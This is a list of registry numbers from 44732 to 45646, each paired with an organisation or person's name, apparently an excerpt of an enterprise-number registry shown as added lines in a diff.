+44732 OOO bella-Don
+44733 Forbes Technosys Ltd
+44734 Menlo Security
+44735 Electronic Commerce Inc.
+44736 JERRA Soft GmbH
+44737 Raindrop Laboratories (Alan Batie)
+44738 ASUSTOR Inc.
+44739 Miele & Cie. KG
+44740 Innovapuglia S.p.A.
+44741 IAV GmbH
+44742 Aunigma Network Security Corp.
+44743 POMA
+44744 Scanline VFX LA Inc.
+44745 Tremor Video
+44746 Sea Surveillance AS
+44747 VoiceTrust
+44748 Wild Kilt Pty Ltd
+44749 Malwarebytes Corporation
+44750 Edifecs Inc
+44751 Tell International Inc.
+44752 Quamatik doo
+44753 UniQ-CA B.V.
+44754 Patent Agency Tegas Llc
+44755 Online Development Inc.
+44756 AgNO3 GmbH & Co. KG
+44757 ANIMO LIMITED.
+44758 ACTRONICS K.K.
+44759 Turbo Systems Co., Ltd.
+44760 Vsoft Colombia Ltda.
+44761 VoxIdea
+44762 IBS PROJECT LLC
+44763 Steven Sloane
+44764 bacq.ru
+44765 PTL Limited
+44766 Katao Ops
+44767 Tieto Sweden AB
+44768 Grayson bvba
+44769 Tsinghua University
+44770 NYNEX satellite OHG
+44771 Apsidis
+44772 West Genesee Central School District
+44773 Sistemas de Seguridade A1
+44774 Alameda Health Services
+44775 City Network International AB
+44776 Hedberg Produtions
+44777 MEAZON SA
+44778 thinkindifferent.net
+44779 Unity Health Insurance
+44780 BikePics
+44781 Connetos Company
+44782 Xiamen Kehua Hengsheng Co.,Ltd
+44783 Push To Talk International Ltd
+44784 Hitzigrath
+44785 IS2 Intelligent Solution Services AG
+44786 Stadtwerke Jena GmbH
+44787 Corporate Business Systems LLP.
+44788 Goethe-Institut e. V.
+44789 Sarah Cannon Research Institute
+44790 Ingenium Automation + Engineering Pte Ltd
+44791 Chengdu Global Capsheaf Solution Technology Co., Ltd.
+44792 AzuriteUK (Valerij Prusakov)
+44793 GAMING1 SPRL
+44794 Chickasaw Holding Company
+44795 Tridigy, LLC
+44796 SFO Technologies Pvt. Ltd.
+44797 Stoat Works
+44798 TechsMix Networks
+44799 audioalgorithms
+44800 it7 s.r.o.
+44801 Sole proprietorship Ilya Gruzinov
+44802 IT-Labor
+44803 Whatson-Web
+44804 FCM TECHNOLOGY S.r.l.
+44805 Sea Island Cancer Center
+44806 Universidade Federal da Integração Latino-Americana
+44807 Infor*Med
+44808 tsblog.org
+44809 HealthStream, Inc.
+44810 arales.org
+44811 Funambolo Technologies Private Limited
+44812 JSC "Institute of Automation of Energy Systems"
+44813 Beijing Easynetworks Technology Co.,Ltd.
+44814 Genexyx Srl
+44815 Mauro Altamura
+44816 South Carolina Oncology Associates
+44817 Idaho Division of Veterans Services
+44818 CADMO CONOCIMIENTO S.L.
+44819 Store Electronic Systems S.A.
+44820 Chlorine Hilarva
+44821 Beijer Electronics AB
+44822 DC Matrix Internet S/A
+44823 Airborne Interactive
+44824 Opravil
+44825 Lautersoft
+44826 Fire Protection Service Corporation
+44827 epcan GmbH
+44828 SilverNet Ltd.
+44829 Ganymed Pharmaceuticals AG
+44830 Trio Motion Technology Ltd
+44831 Nuvotex Solutions GmbH & Co KG
+44832 Product Ventures Ltd
+44833 peteheilig.com
+44834 SYSTEMS AND TECHNOLOGIES, ZAO
+44835 Oncology & Hematology Consultants of Houston
+44836 Breqwatr, Inc.
+44837 Absec Malaysia Sdn Bhd
+44838 chinasoft-tokyo corporation
+44839 Mega Designs Pvt. Ltd.
+44840 Intrasonics Ltd
+44841 Lyngmo.Net
+44842 Fairbanks North Star Borough School District
+44843 Hasin Technology
+44844 Nobel Biocare Services AG
+44845 Dillert
+44846 SuperNetwork s.r.o.
+44847 Yuri Bugelli
+44848 COSYLVAL
+44849 Five Below, Inc.
+44850 United States Antarctic Program
+44851 WINK Streaming
+44852 Energy Communications Management Exchange, sub-division of Future DOS Research & Development Inc.
+44853 KVL COMP Kft.
+44854 linmaonline.de
+44855 h-dy's Home
+44856 Art Developers Corporation
+44857 Broadsound Corporation
+44858 Elkjøp Nordic AS
+44859 Mobik d.o.o.
+44860 Emanomedia GmbH
+44861 Catoctin Systems
+44862 IT SYSTEMS srl
+44863 Unitow Services (1978) Ltd.
+44864 Bethel Blood and Cancer Center
+44865 Bay Area Regional Medical Center
+44866 Benedikt Frenzel Systems
+44867 Etic Telecom
+44868 Earthling Interactive
+44869 Zen Solutions Limited
+44870 JSC "SKB Electronmash"
+44871 Universidad de Cuenca
+44872 FiberLabs Inc.
+44873 CJSC «INTERSET»
+44874 Instytut Matematyczny Polskiej Akademii Nauk
+44875 Reykjavikurborg
+44876 Hrvatska poÅ¡tanska banka, dioniÄko druÅ¡tvo
+44877 IMMA Inc.
+44878 Datcent Technology Co.,Ltd.
+44879 Cunz RaD Ltd.
+44880 Harte & Lyne Limited
+44881 ikara
+44882 Techno-com
+44883 Iw1BI
+44884 OneVision Software AG
+44885 Baltech AG
+44886 Gainspeed, Inc.
+44887 The Kansas City Southern Railway Company
+44888 klolik.org
+44889 Denver Public Library
+44890 BKtel Photonics SAS
+44891 Xero
+44892 Primum Health IT S.L.
+44893 Software Diversions, Inc.
+44894 Napatech
+44895 Bitcraze AB
+44896 Secureloin
+44897 Vista Oncology
+44898 Insignis
+44899 Code L7
+44900 ReminderMedia
+44901 Xiamen Sunwe Technology CO.,Ltd
+44902 ShareTech Information Co., LTD.
+44903 Stratech Systems Limited
+44904 Media Stream Co., LTD.
+44905 NightTrade Group, Inc.
+44906 TBDD, LTD
+44907 nVisionIT Pty Ltd
+44908 CARTIERE DEL GARDA
+44909 sys-pro GmbH
+44910 ST-Vitrinen Trautmann GmbH & Co. KG
+44911 Alpha ENGINEERING Tunisia
+44912 2Be-FFICIENT
+44913 RedSocks B.V.
+44914 Genting Casinos UK
+44915 Silex Industrial Automation Ltd.
+44916 MJog Limited
+44917 LMpro GmbH
+44918 Nethix S.r.l
+44919 Avisi B.V
+44920 Argyle Security Inc
+44921 Exele
+44922 Echo Technology Solutions
+44923 Remco ICT
+44924 Open Connectivity Foundation (formerly 'AllSeen Alliance, Inc.')
+44925 East Kent Hospitals University Foundation Trust
+44926 Amdocs Network Solutions
+44927 SyS LLC.
+44928 Caligare, s.r.o.
+44929 NetKnights GmbH
+44930 Fisher Investments
+44931 SyncWise Systems & Technology
+44932 Panasonic System Communications Company of North America
+44933 In Ardua Petit
+44934 G-RAY
+44935 Digital Telecommunication Systems WA PTY LTD
+44936 Stratech iVision Pte. Ltd
+44937 Inoventica technologies
+44938 Charité - Universitätsmedizin Berlin
+44939 AVA-PETER Ltd.
+44940 Nemiroff
+44941 GCP German Cathodic Protection GmbH & Co. KG
+44942 Stadt Duelmen
+44943 Inlink OÜ
+44944 Rock Flow Dynamics
+44945 TEKTELIC Communications Inc.
+44946 Danish Railway (DSB)
+44947 Internet Security Research Group
+44948 Pacific Institute for the Mathematical Sciences
+44949 NJK Aviation AG
+44950 automation-engineering
+44951 SSR Engineering, Inc.
+44952 AC/ BC Electrical Company
+44953 Flat World Resource Technologies Limited.
+44954 Keweon
+44955 Connexo Tecnologia e Comunicação EIRELI
+44956 Savvi Inc.
+44957 Robotron Datenbank-Software GmbH
+44958 mse GmbH
+44959 Carl Berberich GmbH
+44960 Craltech Electrónica, S.L.
+44961 Valley Medical Center, PLLC
+44962 Foreman Instrumentation And Controls
+44963 gueux.org
+44964 Vivid Orange Limited
+44965 pascher.IT
+44966 Jingtu Printing Systems Co., Ltd
+44967 Beijing Heweinet Technology Co.,Ltd (北京和维网通科技有é™å…¬å¸)
+44968 May China
+44969 CLINICA DE CANCER Y ENFERMEDADES DE LA SANGRE, CSP
+44970 Thread Group, Inc.
+44971 Compen Embedded Software
+44972 Alameda Hospital
+44973 Kantar Media France SAS
+44974 Sonos, Inc.
+44975 FlexCoders Ltd
+44976 Onegini B.V.
+44977 Reduxio Systems
+44978 Telefónica Soluciones de Criptografía, S. A.
+44979 Tsmart Inc.
+44980 MEDiA LiNK Co.,Ltd.
+44981 LLC "PromIT"
+44982 INNEXIV, INC.
+44983 ARTIS GmbH
+44984 EPAM Systems
+44985 Tecnologias Corporativas SC
+44986 Taglio LLC
+44987 Temple University
+44988 Nxtera Ltd
+44989 Multi Parts Supply USA, Inc.
+44990 TONGFANG INDUSTRIAL CO.,LTD
+44991 Ameriprise Financial
+44992 Amscreen Group Limited
+44993 BCP Co.
+44994 Umbrellium Ltd.
+44995 Regional Cancer Care Associates, Little Silver Division
+44996 JMP Group Inc.
+44997 Emery Telcom
+44998 Sichuan Zero Gravity Technology CO.LTD
+44999 Ltd GoldLans
+45000 Symbicon Ltd
+45001 Northern Virginia Hematology Oncology Associates
+45002 CompuGroup Medical Polska sp. z o.o.
+45003 Egag, LLC
+45004 SMARTRAC N.V.
+45005 Advanced Alloy Processing
+45006 Wuestenrot poistovna, a.s.
+45007 Trial Software Laboratories, Inc.
+45008 Things.Expert LLC
+45009 Thomas Hassall Anglican College
+45010 Youhua
+45011 Ming Dynasty AvantLexa Firm
+45012 Miraeson
+45013 Beijing Gehua CATV Network Co.,Ltd.
+45014 Andra sp. z o. o.
+45015 foo.sh
+45016 Kouba & Partner
+45017 I3 Comércio de Computadores Ltda Epp
+45018 QualiStream
+45019 Infinite AI, Inc.
+45020 Bitnasium Co., Ltd.
+45021 Health Plan Partners LLC
+45022 digivod gmbh
+45023 Chair Four Development Group LLC
+45024 BTS Software Solutions, LLC
+45025 Fujitsu Hokuriku Systems Limited
+45026 Mynavi Corporation
+45027 The Center For Mental Health
+45028 Debugo
+45029 Fengyz Technology CO.,Ltd.
+45030 Lagopus switch project
+45031 Engineering Centre Energoservice LLC
+45032 JustNow
+45033 synyx GmbH & Co. KG
+45034 Millimetrica s.r.l.
+45035 TelSIP Communication
+45036 NIC Hosting
+45037 Hauke Bartsch
+45038 Enman
+45039 Central Bank of the Republic of Azerbaijan
+45040 BBH Media
+45041 Vieira Filho Tecnologia Eletronica
+45042 Officeworks Ltd
+45043 Argus Hosting, LLC
+45044 TangoRythm
+45045 DELNET
+45046 lpk
+45047 Crypto Software Chryselius
+45048 MARIA - DEBORA
+45049 Gudok LLC
+45050 Bjørn Ludvig Langaas Johansen
+45051 Finalsite
+45052 SequoiaDB Ltd.
+45053 Information and Telecom Systems India Pvt. Ltd.
+45054 Tony Ditchfield
+45055 ISAE
+45056 Kassenärztliche Vereinigung Schleswig-Holstein
+45057 COPALP
+45058 CCP Games
+45059 Bauduin Raphaël
+45060 Otis R Bowen Center for Human Services, Inc
+45061 Gymnasium Geretsried
+45062 Southern Cancer Center
+45063 SEAtech Technology Inc
+45064 China Mobile Hong Kong Company Limited
+45065 Insyde
+45066 SIP Cantabria S.L.
+45067 Dude Solutions Inc.
+45068 PROTECH SYSTEMS PRIVATE LIMITED
+45069 TOMinf Tomasz Tomaszewski
+45070 Reservoir Labs, Inc.
+45071 tetraguard systems GmbH
+45072 Catalyst Paper
+45073 Pacific Seafood Group
+45074 TTSSB corp
+45075 Electron Jungle, LLC
+45076 HamLogin.com
+45077 Sestek Ses ve Iletisim Bilgisayar Teknolojileri San. ve Tic. A.S.
+45078 QoS Solutions
+45079 i4p informatikai kft.
+45080 Kerio Technologies, Inc.
+45081 Increase Qingdao Information Technology Co., Ltd.
+45082 PT. Tekno Inovasi Asia
+45083 Intility AS
+45084 Arbeitsgemeinschaft Dresdner Studentennetz
+45085 Bibliotheca Alexandrina
+45086 Advanced Imaging Technologies (Pty) Ltd
+45087 Institut Catala de Finances
+45088 Volkswagen Møller Bilfinans AS
+45089 ICANN
+45090 Mushroom Networks, Inc.
+45091 Cisco Sera
+45092 Silectica
+45093 SUMOMO Computer Association
+45094 UAB "VAATC"
+45095 INAF - Osservatorio Astrofisico di Arcetri
+45096 INTERNATIONAL MEDICAL SOLUTIONS INC.
+45097 Graphite Systems, Inc.
+45098 Ex Cathedra Solutions Ltd.
+45099 Pentaho Corporation
+45100 Cloud Vision Networks Technology Co.,Ltd. (cvn)
+45101 Yew Tree Services, Inc.
+45102 Yawns.com Limited
+45103 Satel Spain, S.L.
+45104 infoworxx GmbH
+45105 Samsung Poland R&D Center
+45106 Subsentio
+45107 IntegraOptics Inc
+45108 Jetmobile
+45109 Chaos Labs OOD
+45110 IzumoBASE, Inc.
+45111 Elbrus-RW
+45112 Christian Wilhelmi
+45113 OPTIMANS
+45114 PALS Elektronik
+45115 Ajenti Solutions
+45116 LoJack Corp.
+45117 University of North Carolina at Charlotte
+45118 ehaaihee
+45119 SBONGILE PROJECT
+45120 iba AG
+45121 Hangzhou Guangwei Technology Co., Ltd
+45122 M & T Bank Corporation
+45123 Suzhou Industrial Park Kejia Automation Co., Ltd
+45124 De Haan
+45125 Netcom Europa S.L.
+45126 Sarada Gummadi MD PA
+45127 ProfitBricks GmbH
+45128 Infotrage Limited
+45129 BID Initiative Tanzania - PATH
+45130 r3k
+45131 Onelogin, Inc.
+45132 ADD-Engineering BV
+45133 Kristian Söderholm
+45134 XCore Company Limited
+45135 AQUASOFT spol. s r.o.
+45136 e-Cop Pte Ltd.
+45137 Nanoha Project
+45138 Huwomobility Inc.
+45139 Maruganzer
+45140 Green Vict Technology Co., Ltd
+45141 Onomichi ikakikai Co., Ltd.
+45142 Corporate West Computer Systems, Inc.
+45143 Datawise Systems, Inc.
+45144 American Airlines Federal Credit Union
+45145 Hivemind Engineering
+45146 Primestone Network
+45147 Datu Health
+45148 Universität Koblenz-Landau
+45149 NoisyPeak
+45150 WAGNER AG
+45151 MEISLAB
+45152 Parchment Inc.
+45153 Drillinginfo
+45154 ELES, d.o.o., sistemski operater prenosnega elektroenergetskega omrezja
+45155 Democratic Alliance
+45156 The IcedTea project (HeapStats)
+45157 Medgate AG
+45158 Infracom S.p.A.
+45159 Heinz Nixdorf MuseumsForum GmbH
+45160 Jabatan Ketua Menteri Melaka
+45161 YouCo Srl
+45162 GUANG DONG SMART ELECTRIC INFORMATION INDUSTRY CO.,LTD.
+45163 ROSTOCK PORT GmbH (formerly 'Hafen-Entwicklungsgesellschaft Rostock mbH')
+45164 Brulli Energia
+45165 IT Services, Loughborough University
+45166 Itaipu Binacional
+45167 Redgates.com
+45168 krumedia GmbH
+45169 Tahoe Forest Health System
+45170 The Baupost Group, L.L.C.
+45171 Gareth Morgan Investments
+45172 Stronghold, Ltd.
+45173 The Furukawa Battery Co.,Ltd
+45174 Eyecom Telecommunication Equipments Ltd
+45175 NGI SpA
+45176 Mirantis Inc
+45177 Sapientier Development
+45178 Direktion der Justiz und des Innern des Kantons Zuerich
+45179 Jablotron Alarms a.s.
+45180 Rolls-Royce Marine
+45181 AVSystem
+45182 bkaiser GmbH
+45183 Access Control Services Ltd
+45184 Patrick Kalkman
+45185 SCA Skog AB
+45186 frazz.se
+45187 Amber Technical Solutions Ltd
+45188 Vzajemna, d.v.z.
+45189 Genplus Pte Ltd
+45190 Peaxy, Inc.
+45191 Simple Finance Technology Corp
+45192 Lonmin
+45193 TeraStream
+45194 Oryx Embedded
+45195 Beijing 35one Technology Development Co., Ltd
+45196 Of Modems and Men
+45197 C.S.C.D.G.R
+45198 Weichert Lead Network, Inc
+45199 Lite-On Power System Solutions
+45200 Reserve Bank Of Australia
+45201 BBright
+45202 Fachhochschule Potsdam
+45203 Synergy Consulting Ltd.
+45204 Four Horsemen
+45205 Richard Frostell
+45206 Quintron Systems, Inc
+45207 healcerion
+45208 GSS International Group
+45209 Altostratus Oy
+45210 DigiSeq Limited
+45211 Data Control Ltd
+45212 Vecture Inc.
+45213 Municipal Parking Services, Inc.
+45214 Community Campaign (Hart)
+45215 Matchpoint Systems, Inc.
+45216 Cyprus Telecommunications Authority (CYTA)
+45217 Large Display Solutions International ltd.
+45218 Mesosphere
+45219 Telecomax
+45220 eGO Travel & Leisure AG
+45221 AMP
+45222 XpoLog Ltd.
+45223 FASII Information Technology
+45224 Wireless Sensors LLC
+45225 Guangzhou Netzone Inc.
+45226 Allicient
+45227 Okinawa Institute of Science and Technology Graduate University
+45228 Lumagate AB
+45229 nyantec GmbH
+45230 RCD Radiokomunikace spol. s r. o.
+45231 Liverock Technologies
+45232 Hellenic Ministry of Foreign Affairs
+45233 Guangzhou Tongrui Electronic Electronic Technology Co.,Ltd
+45234 Pennsylvania State Education Association
+45235 ConfirmSign S.L.
+45236 Ferz corp.
+45237 Context Relevant
+45238 City of Oregon City
+45239 RosReserv
+45240 International Capital & Management Company
+45241 fuzzcat.net
+45242 INGEBI
+45243 La Boulgour Compagnie
+45244 IJM Systems
+45245 SAS CALVI Célestin
+45246 EcoCooling Ltd
+45247 Triple Domain Vision Co., Ltd.
+45248 NetOcean
+45249 Banco Macro S.A.
+45250 Habr Europe OÜ
+45251 axelIT Üzletfejlesztési Kft.
+45252 mDAKS GmbH
+45253 RMB Capital Management, LLC
+45254 Shouei Denshi Kenkyuusho Co.,Ltd.
+45255 Dallas Delta Corp
+45256 Foreks Bilgi Iletisim Hiz. A.S.
+45257 InterConnectData
+45258 Lazaros Economou
+45259 Billo Systems Ltd. Co.
+45260 FYLDE MICRO LTD
+45261 inAere Holdings
+45262 Raven
+45263 VTAS GmbH & Co. KG
+45264 Schaeffler Technologies AG & Co. KG
+45265 GMAURER
+45266 bootix Technology GmbH
+45267 ISSENDIS
+45268 RusHydro
+45269 Rivasense Technologies Ltd
+45270 Electronic Certification Services SL
+45271 Beco
+45272 Szallas.hu Ltd.
+45273 independIT Integrative Technologies GmbH
+45274 EyaSys
+45275 Energy Essentials Group B.V.
+45276 iTEAM (Instituto de Telecomunicaciones y Aplicaciones Multimedia, Grupo COMM)
+45277 Five Monkeys Code Factory
+45278 OpenCloud SL
+45279 Strategy Object
+45280 Premise Health
+45281 Generac Power Systems Inc.
+45282 LinkUp Networks
+45283 T-Systems International GmbH
+45284 ax86.net
+45285 Salience Systems Pty Ltd
+45286 Morning Project Samurai
+45287 GEOPRAEVENT AG
+45288 Compania Logistica de Hidrocarburos CLH, S.A.
+45289 unixadm.org
+45290 Agentia pentru Agenda Digitala a Romaniei
+45291 DOCTORS CENTER HEMATOLOGY & ONCOLOGY GROUP, PSC
+45292 DOCTORS' CENTER HEMATOLOGY & ONCOLOGY GROUP BAYAMON, PSC
+45293 Transport Network llc
+45294 ANEAC Co., Ltd.
+45295 BTT Bilgi Teknoloji Tasarim Ltd
+45296 Mazars
+45297 T-21 Technologies, LLC
+45298 Alea s.r.l.
+45299 AMRTEC TECNOLOGIA IMPORTAÇÂO E EXPORTAÇÂO LTDA
+45300 WatchDox LTD
+45301 Double B - Business, s.r.o.
+45302 SOIN Soluciones Integrales S.A,
+45303 Industrial Software Co
+45304 ByteLogix
+45305 Asyne inc.
+45306 DE-CIX Management GmbH
+45307 Tracsis plc
+45308 Impactions BV (formerly 'Born Inventors BV')
+45309 Needham Public Schools
+45310 Universidade Estadual de Santa Cruz
+45311 GHT Co., Ltd
+45312 Instituto para os Assuntos Cívicos e Municipais Macau
+45313 iiPAY Ltd
+45314 CCV Deutschland GmbH
+45315 KRKA, tovarna zdravil, d. d., Novo mesto
+45316 devlab
+45317 SAU
+45318 Rosa Khutor LLC
+45319 NGENIX
+45320 ActiStuff
+45321 Triumph Bancorp, Inc.
+45322 GigaEnergy Inc.
+45323 BIORETICS SRL
+45324 Business Solutions Adviser
+45325 roo.ch
+45326 Yves Durce ent.
+45327 NATAJA Maciej Kozuch
+45328 KOSHIN DENKI KOGYO CO., LTD.
+45329 Kristin School
+45330 Fineline Solutions Ltd.
+45331 San Fernando Valley Community Mental Health Center, Inc.
+45332 East Side Oncology Clinic PLLC
+45333 NeatApps, Inc.
+45334 Nextys
+45335 Matthias Blümel IT-Dienstleistungen
+45336 Microbase
+45337 voria.net
+45338 Tableau Software, Inc.
+45339 JSC "Housing Construction Savings Bank of Kazakhstan"
+45340 Half-Baked Software
+45341 NEXT Srl
+45342 IWD Ltd.
+45343 Thum+Mahr GmbH
+45344 ZhenJiang College
+45345 Smithee, Spelvin, Agnew & Plinge, Inc.
+45346 Velocloud Networks, Inc.
+45347 The Centers for Families and Children
+45348 Megvii Inc.
+45349 VGNet Networking
+45350 jorde.it
+45351 XPSoft sas
+45352 AMERGINT Technologies Inc.
+45353 BRS Sistemas Eletrônicos
+45354 E2G srl
+45355 Staffordshire Police
+45356 Liveblock Auctions International
+45357 CUBENet GmbH
+45358 Integral Business Solutions
+45359 ARC Informatique
+45360 Valley Christian School
+45361 OC Software Engineering
+45362 Coca-Cola Erfrischungsgetraenke AG
+45363 Advanced Training LLC
+45364 TRIADE InformationSystems GmbH
+45365 Om Vindhyavasini College of IT & Management
+45366 Cohere Technologies
+45367 SilverTip Marine Inc.
+45368 Amida Technology Solutions
+45369 MVZ Labor Dr. Quade und Kollegen
+45370 ID TECH
+45371 AV
+45372 Professional Software Design Pty Ltd
+45373 Speech Technology Center Limited
+45374 i-SOLUTIONS HEALTH GmbH
+45375 Znuny GmbH
+45376 PT. Mahardika Putra Mahkota
+45377 Air Liquide IT
+45378 Beijing Uxsino software CO.,Ltd
+45379 iCRCo, Inc
+45380 Happy Crow Enterprises, LLC
+45381 iCode Global, LLC
+45382 Huf Secure Mobile
+45383 SHARP Corporation Communication Systems Division
+45384 SERgroup Holding Europe GmbH
+45385 4GTSS Corporation W.L.L.
+45386 PeopleLogic Corporation
+45387 NCC Group PLC.
+45388 SSV Software Systems GmbH
+45389 LV=
+45390 Alef Mobitech Inc.
+45391 PLC Group
+45392 Quadro Group LLC
+45393 OSM GmbH
+45394 Mangstor Inc
+45395 Secrétariat général de l'enseignement catholique
+45396 Dejero Labs. Inc
+45397 ASFINAG Maut Service GmbH
+45398 Segmint, Inc.
+45399 Omemee Engineering Group
+45400 Candid Security Solutions LLC
+45401 Unitron NV
+45402 Arvet Bank Operations, INC.
+45403 ExchangeCore LLC
+45404 TightVideo Ltd.
+45405 Lee County School System
+45406 BetEasy Pty Ltd
+45407 Northwest Kits
+45408 Octavian Technology Ltd
+45409 OneSoft Tecnologia S/A
+45410 ISAMBERT
+45411 Ultra Electronics - Varisys
+45412 HGH SYSTEMES INFRAROUGES
+45413 Global IQX
+45414 SHUYSKIY ZAVOD AKVARIUS LLC
+45415 Repheka Haiti, Inc.
+45416 Chengdu Chengxun Network Technologies Co., Ltd.
+45417 HCO Computer Products /dba ZGO Tech Hosting
+45418 ABAST systems
+45419 PhirePhly Design
+45420 Strike XII Development
+45421 Nico Boehr
+45422 powerbrand marketing GmbH
+45423 Match.com L.L.C.
+45424 The Ghosh Center for Oncology & Hematology
+45425 Kadlec Health System
+45426 Soltec Technology Co., Ltd.
+45427 Xiamen Winer Technology Co.,Ltd
+45428 UrtheCast
+45429 Instituto Federal Catarinense Campus Sombrio
+45430 Atlas Copco Rock Drills AB (Business Area MR)
+45431 Nanjing Lopu Co., Ltd.
+45432 Cirrato Technologies AB
+45433 Finivation Software
+45434 Accel Frontline Ltd
+45435 Cyprus University of Technology
+45436 THALES Services MsLabs (formerly 'THALES Services Lab DT')
+45437 TEOCO Corporation
+45438 AI2M srl
+45439 ScioTeq
+45440 BISS d.o.o.
+45441 Safe Internet, LLC
+45442 Wrocław University of Science and Technology
+45443 Arca Sistemi Scarl
+45444 ecg.local
+45445 Kuantic SAS
+45446 Ministerio Publico de la Acusación
+45447 SOCIETE DU FIGARO
+45448 UF Health Oncology - Baymeadows
+45449 Blue Krait Consulting Inc.
+45450 Parsec (Pty) Ltd
+45451 reBTSOFT
+45452 Instituto Medico Alexander Fleming
+45453 Banff Cyber Technologies Pte Ltd
+45454 Shanghai Digigrid Technology Co.,Ltd
+45455 John Wason
+45456 Galaxia Electronics Co., Ltd.
+45457 Kanton Thurgau
+45458 VKBit Betrieb GmbH
+45459 Lonix Oy
+45460 Comfact AB
+45461 Pocos bv
+45462 Delvag Luftfahrtversicherungs-AG
+45463 Federal Public Service Justice, Belgium
+45464 Verband Christlicher Pfadfinderinnen und Pfadfinder in Württemberg
+45465 Clear2Pay NV/SA
+45466 PIXEL Sp. z o.o.
+45467 Vidat
+45468 Avi Networks
+45469 IQ Messenger
+45470 Azienda Ospedaliero-Universitaria di Bologna
+45471 Triangle Wholefoods Collective Ltd.
+45472 Ebee Smart Technologies GmbH
+45473 Excelfore Corporation
+45474 HfMT Hamburg
+45475 MEYTEC GmbH
+45476 StreamVue Ltd
+45477 ZOO Digital Group plc.
+45478 DIVA IT SIA
+45479 PXP Solutions Ltd
+45480 cognitix GmbH (formerly 'Packetwerk GmbH')
+45481 Galore Networks Private Limited
+45482 St Jude Medical
+45483 FusionLayer, Inc.
+45484 Siama Systems Inc.
+45485 SCUBI
+45486 ACSS Communications Pty Ltd
+45487 Polydata Corporate
+45488 KONAR
+45489 groupe-alpha
+45490 Nexperteam
+45491 Gainde 2000
+45492 Connexin Software, Inc.
+45493 Media System Technologies Srl
+45494 GISTEC
+45495 Konneka Information Technologies (formerly 'Konneka Bilgi ve Iletisim Teknolojileri Imalat Tic. Ltd. Sti.')
+45496 Groupe ESB
+45497 Qucell
+45498 Novella-R SIA
+45499 Janos
+45500 Virgin Technologies Inc
+45501 Micro Instruments
+45502 nterra integration GmbH
+45503 42 Solutions B.V.
+45504 Synaptive Medical Inc.
+45505 Tox Foundation
+45506 Mida Solutions s.r.l.
+45507 iMapData.com
+45508 Strich Labs
+45509 YourMembership
+45510 BBMRI-ERIC
+45511 Cogent Technologies Limited
+45512 Entergate AB
+45513 Hekatron Technik GmbH
+45514 ShenZhen SNMP Link Electronics Co., Ltd.
+45515 Econocom-osiatis
+45516 Valid Soluciones Tecnógicas S.A.U.
+45517 GarantPlus Ltd
+45518 Macnica Inc.
+45519 Diamedica Sp. z o.o.
+45520 Actility
+45521 OPENBASE
+45522 xipki.org
+45523 RFE Broadcast srl
+45524 Advancapp
+45525 Ubiqam LTD
+45526 Snapper Services
+45527 Diehl AKO Stiftung & Co. KG
+45528 Joerg-Peter Hempel
+45529 vishmail.net
+45530 Medien Service Untermain GmbH
+45531 M.A.D.A.
+45532 Infinicore inc
+45533 Red Arrow (Southampton) Group Limited
+45534 WestNet
+45535 Information Systems Dynamics
+45536 Rheinmetall Defence Electronics GmbH
+45537 NUAZ
+45538 PHARMAGEST INTERACTIVE
+45539 Domain fritze.org
+45540 Rueval S.A.
+45541 Schneider Elektronik GmbH
+45542 Orlando Utilities Commission
+45543 Mekansal Yazilim
+45544 IT Kimmig
+45545 Ormazabal
+45546 SECUWAVE CO,. LT
+45547 Wirtgen (China) Machinery Co., Ltd.
+45548 Asian Hope Inc
+45549 Shenzhen Zontele Technologies Co., Ltd
+45550 Webstudio Information Technology Inc.
+45551 VIPP
+45552 Unisys
+45553 GE Healthcare - Engineering
+45554 Grupo JAMPIG S.A.S.
+45555 RDP
+45556 Triadic Industries, LLC
+45557 SHENZHEN CAN TECHNOLOGY CO.,LTD
+45558 CJSC GROUP OF COMPANIES RENOVA
+45559 Prevoty, Inc.
+45560 Inovapar Soluções LTDA.
+45561 Masterclock, Inc.
+45562 Capella Aerospace Systems Engineering Inc.
+45563 SOMNOmedics GmbH
+45564 Beijing SplendidTel Co.,Ltd.
+45565 INTERBYSS S.R.L
+45566 INTELMA CONSULTING Inc.
+45567 Ticom Geomatics, Inc.
+45568 GoCardless Ltd
+45569 Core Network Dynamics
+45570 IQ Tel d.o.o.
+45571 Midfin Systems
+45572 awelten
+45573 Western Michigan University Homer Stryker M.D. School of Medicine
+45574 Hellea SPRL
+45575 China Beijing Stegosaurus Technology Laboratory
+45576 Hulu LLC
+45577 Shenzhen Sundray Technologies Company Limited
+45578 BroadQuest
+45579 Guangdong Nenkingtech Development Co,Ltd.
+45580 DENTCAT
+45581 YICHUN YILIAN PRINT TECH CO.,LTD
+45582 paysafecard.com Wertkarten GmbH
+45583 Puminsoft Co.,Ltd.
+45584 OJSC "RIRT"
+45585 Space Imaging Middle East (SIME)
+45586 Mythic Network
+45587 Software & Service Center,Sichuan Changhong Electric Co.,Ltd
+45588 OLSPS
+45589 Doc-Soft Ltd.
+45590 Mutesah General Investments ltd
+45591 Shenzhen Sungreat Communication Co.,LTD
+45592 Julius Clinical
+45593 OpenREM
+45594 Università Iuav di Venezia
+45595 Reaktor 23
+45596 ICloud Innovation (Beijing) ltd.
+45597 TESA Assa Abloy
+45598 Mckinney Independent School District
+45599 Network RADIUS SARL
+45600 OX Service AG
+45601 Wikimedia Deutschland e.V.
+45602 Corvus Energy
+45603 Rieker, Inc.
+45604 BeiJing SmartWell Info&Tech Co.,Ltd.
+45605 Wi-SUN Alliance, Inc
+45606 Carillon Federal Services Inc.
+45607 Sysco Foods
+45608 Atlan dynamic group
+45609 Centralschweizerische Kraftwerke AG
+45610 EAM GmbH & Co. KG
+45611 EOSPACE Inc.
+45612 Under Armour Connected Fitness
+45613 Universiti Malaysia Terengganu
+45614 RegEd Inc.
+45615 CityNet
+45616 Healthcare Information and Management System Society (HIMSS)
+45617 The Institute of Computational Technologies of the Siberian Branch of the Russian Academy of Sciences
+45618 Ferdinand Malcher
+45619 Oei Family Office
+45620 Steampunk Island Inc
+45621 Tycon Systems Inc.
+45622 Netrix LLC.
+45623 Hughey & Phillips, LLC
+45624 Brain Sense
+45625 hahnefeld.net
+45626 Sapientia Systems
+45627 X NET
+45628 HANFORD (DOE)
+45629 Ritron
+45630 Regional Medical Oncology Center
+45631 Perimind Corporation
+45632 br0.fr
+45633 The Hershey Company
+45634 XeeMetric Inc.
+45635 Cornerstone Health Enablement Strategic Solutions, LLC
+45636 Robit SAS
+45637 Dicks Garage
+45638 AVOLITES LTD
+45639 Chen-Hung Chen
+45640 Fujitsu Taiwan Ltd.
+45641 SOARNEX Technology Corporation
+45642 SITRINICS CAMS, JSC
+45643 MARETON d.o.o.
+45644 Tom Maher
+45645 thinkCSC, Inc
+45646 UK Shared Business Services Ltd
